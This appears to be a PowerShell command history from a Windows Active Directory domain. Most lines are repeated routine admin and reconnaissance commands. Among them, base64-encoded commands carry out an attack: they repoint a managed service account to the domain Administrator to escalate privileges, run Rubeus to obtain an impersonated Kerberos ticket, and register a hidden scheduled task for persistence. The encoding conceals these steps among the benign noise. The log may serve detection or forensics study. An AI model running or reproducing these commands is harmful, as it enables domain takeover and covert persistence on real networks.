Get-ScheduledTask
Get-ADOrganizationalUnit -Filter *
hostname
Get-NetIPAddress
Get-ADUser -Filter 'Enabled -eq True'
Get-EventLog -LogName Security -After (Get-Date).AddDays(-7) -InstanceId 4662 -Newest 100
Test-Connection -ComputerName dc01.novatech.local
Get-Process -Name powershell
Get-ChildItem -Recurse C:\Scripts\
Get-FileHash -Path C:\Windows\System32\notepad.exe -Algorithm SHA256
Get-Date
Set-Location C:\Temp
Get-ADPrincipalGroupMembership svc_backup
Import-Module ActiveDirectory
Get-WinEvent -FilterHashtable @{LogName='Directory Service';Id=4662} -MaxEvents 50
Get-WmiObject Win32_Service | Where-Object { $_.StartMode -eq 'Auto' }
Get-NTFSAccess -Path C:\SYSVOL
Get-ChildItem -Recurse C:\Scripts\
Get-ADServiceAccount -Filter * -Properties *
New-PSDrive -Name Z -PSProvider FileSystem -Root \\DC01\SYSVOL
hostname
Get-ScheduledTask
systeminfo
Test-Connection -ComputerName dc01.novatech.local
Test-Connection -ComputerName dc01.novatech.local
Get-EventLog -LogName Security -After (Get-Date).AddDays(-7) -InstanceId 4662 -Newest 100
Get-ADServiceAccount -Filter * -Properties *
Remove-Item C:\Temp\old_log.log -Force
Get-HotFix -Id KB5005565
Get-ADServiceAccount -Filter * -Properties *
Get-EventLog -LogName Application -After (Get-Date).AddDays(-1) -EntryType Error
Get-NetIPAddress
Get-EventLog -LogName Security -After (Get-Date).AddDays(-7) -InstanceId 4662 -Newest 100
Get-ADComputer -Filter *
Get-Credential
Get-ADOrganizationalUnit -Filter *
Get-EventLog -LogName Security -After (Get-Date).AddDays(-7) -InstanceId 4662 -Newest 100
Test-Connection -ComputerName dc01.novatech.local
Get-ADPrincipalGroupMembership svc_backup
Get-EventLog -LogName System -Newest 50
Get-EventLog -LogName Security -InstanceId 4672 -Newest 50
Get-Service | Where-Object { $_.Name -like '*crypt*' }
Get-FileHash -Path C:\Windows\System32\notepad.exe -Algorithm SHA256
Get-CimInstance -ClassName Win32_QuickFixEngineering
Get-NetFirewallProfile
Get-Process -Name powershell
Get-Service | Where-Object { $_.Name -like '*crypt*' }
Start-Sleep -Seconds 10
Get-HotFix -Id KB5005565
Get-ADComputer -Filter *
New-PSDrive -Name Z -PSProvider FileSystem -Root \\DC01\SYSVOL
Get-ProcessMitigation -Name powershell.exe
Get-FileHash -Path C:\Windows\System32\notepad.exe -Algorithm SHA256
Get-Service | Where-Object { $_.Name -like '*crypt*' }
Get-EventLog -LogName Application -Newest 50
New-Item -Path C:\Temp -ItemType Directory
Invoke-Command -ComputerName DC01 -ScriptBlock { gpupdate /force }
Get-ChildItem -Recurse C:\Scripts\
Get-Command -Module ActiveDirectory
New-PSDrive -Name Z -PSProvider FileSystem -Root \\DC01\SYSVOL
Get-ADServiceAccount -Filter *
powershell.exe -EncodedCommand RwBlAHQALQBBAEQAUwBlAHIAdgBpAGMAZQBBAGMAYwBvAHUAbgB0ACAALQBJAGQAZQBuAHQAaQB0AHkAIABnAG0AcwBhAF8AZgBpAG4AYQBuAGMAZQAgAC0AUAByAG8AcABlAHIAdABpAGUAcwAgACoA
powershell.exe -EncodedCommand UwBlAHQALQBBAEQAUwBlAHIAdgBpAGMAZQBBAGMAYwBvAHUAbgB0ACAALQBJAGQAZQBuAHQAaQB0AHkAIABnAG0AcwBhAF8AZgBpAG4AYQBuAGMAZQAgAC0AUgBlAHAAbABhAGMAZQAgAEAAewBtAHMARABTAC0ATQBhAG4AYQBnAGUAZABBAGMAYwBvAHUAbgB0AFAAcgBlAGMAZQBkAGUAZABCAHkATABpAG4AawA9ACcAQwBOAD0AQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgAsAEMATgA9AFUAcwBlAHIAcwAsAEQAQwA9AG4AbwB2AGEAdABlAGMAaAAsAEQAQwA9AGwAbwBjAGEAbAAnADsAbQBzAEQAUwAtAEQAZQBsAGUAZwBhAHQAZQBkAE0AUwBBAFMAdABhAHQAZQA9ADIAfQA=
powershell.exe -EncodedCommand RwBlAHQALQBBAEQAUwBlAHIAdgBpAGMAZQBBAGMAYwBvAHUAbgB0ACAALQBJAGQAZQBuAHQAaQB0AHkAIABnAG0AcwBhAF8AZgBpAG4AYQBuAGMAZQAgAC0AUAByAG8AcABlAHIAdABpAGUAcwAgAG0AcwBEAFMALQBNAGEAbgBhAGcAZQBkAEEAYwBjAG8AdQBuAHQAUAByAGUAYwBlAGQAZQBkAEIAeQBMAGkAbgBrACwAbQBzAEQAUwAtAEQAZQBsAGUAZwBhAHQAZQBkAE0AUwBBAFMAdABhAHQAZQA=
klist
powershell.exe -EncodedCommand  
powershell.exe -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAdABvAG8AbABzAFwAUgB1AGIAZQB1AHMALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACcAYQBzAGsAdABnAHMAIAAvAHMAZQByAHYAaQBjAGUAOgBrAHIAYgB0AGcAdAAvAG4AbwB2AGEAdABlAGMAaAAuAGwAbwBjAGEAbAAgAC8AdABpAGMAawBlAHQAOgA8AHQAbwBrAGUAbgA+ACAALwB1AHMAZQByADoAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgAgAC8AaQBtAHAAZQByAHMAbwBuAGEAdABlACcAIAAtAE4AbwBOAGUAdwBXAGkAbgBkAG8AdwAgAC0AVwBhAGkAdAA=
Get-Credential
Get-WmiObject Win32_Service | Where-Object { $_.StartMode -eq 'Auto' }
hostname
Get-Service -Name WinRM | Format-List *
New-PSDrive -Name Z -PSProvider FileSystem -Root \\DC01\SYSVOL
Get-FileHash -Path C:\Windows\System32\notepad.exe -Algorithm SHA256
Get-Date
powershell.exe -EncodedCommand JABhACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACIAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAEYAaQBsAGUAIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcAHMAeQBzAHUAcABkAGEAdABlAC4AcABzADEAIgA=
powershell.exe -EncodedCommand JABiACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBEAGEAaQBsAHkAIAAtAEEAdAAgADMAYQBtAA==
powershell.exe -EncodedCommand UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgBTAHkAcwBVAHAAZABhAHQAZQAiACAALQBBAGMAdABpAG8AbgAgACQAYQAgAC0AVAByAGkAZwBnAGUAcgAgACQAYgA=
Copy-Item -Path C:\Temp\* -Destination Z:\Backup\
Get-Content C:\Users\svc_backup\AppData\Local\Temp\deploy.log
Get-EventLog -LogName Security -InstanceId 4648 -Newest 100
Get-NetFirewallRule | Where-Object { $_.Enabled -eq 'True' }
Get-Process -Name powershell
Get-SmbOpenFile
Get-ADObject -LDAPFilter '(objectCategory=computer)'
Get-ProcessMitigation -Name powershell.exe
Set-Location C:\Temp
Get-SmbOpenFile
Get-Process -Name powershell
Get-Date
Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Format-Table Description,IPAddress,MACAddress
Get-HotFix -Id KB5005565
Get-ADComputer -Filter *
Get-ADPermission -Identity 'OU=BadOU,DC=novatech,DC=local' -User svc_backup
Get-WmiObject Win32_OperatingSystem
Start-Sleep -Seconds 10
Get-WmiObject Win32_Service | Where-Object { $_.StartMode -eq 'Auto' }
cls
ipconfig /all
Get-HotFix -Id KB5005565
Get-LocalGroupMember -Group 'Administrators'
Get-ADOrganizationalUnit -Filter *
Set-Location C:\Temp
Set-Location C:\Temp
Import-Module ActiveDirectory
Get-ADUser -Filter 'Enabled -eq True'
Get-ADUser -Filter 'Enabled -eq True'
cls
Disconnect-PSDrive Z
Get-CimInstance -ClassName Win32_QuickFixEngineering
Import-Module ActiveDirectory
Get-Process | Where-Object { $_.CPU -gt 100 }
Get-Acl -Path 'AD:\OU=BadOU,DC=novatech,DC=local'
Get-SmbShare
Get-ADUser svc_backup -Properties lastLogonTimestamp
Get-Process | Where-Object { $_.CPU -gt 100 }
Get-EventLog -LogName Application -Newest 50
Get-EventLog -LogName Application -Newest 50
hostname
Get-ADObject -LDAPFilter '(objectCategory=computer)'
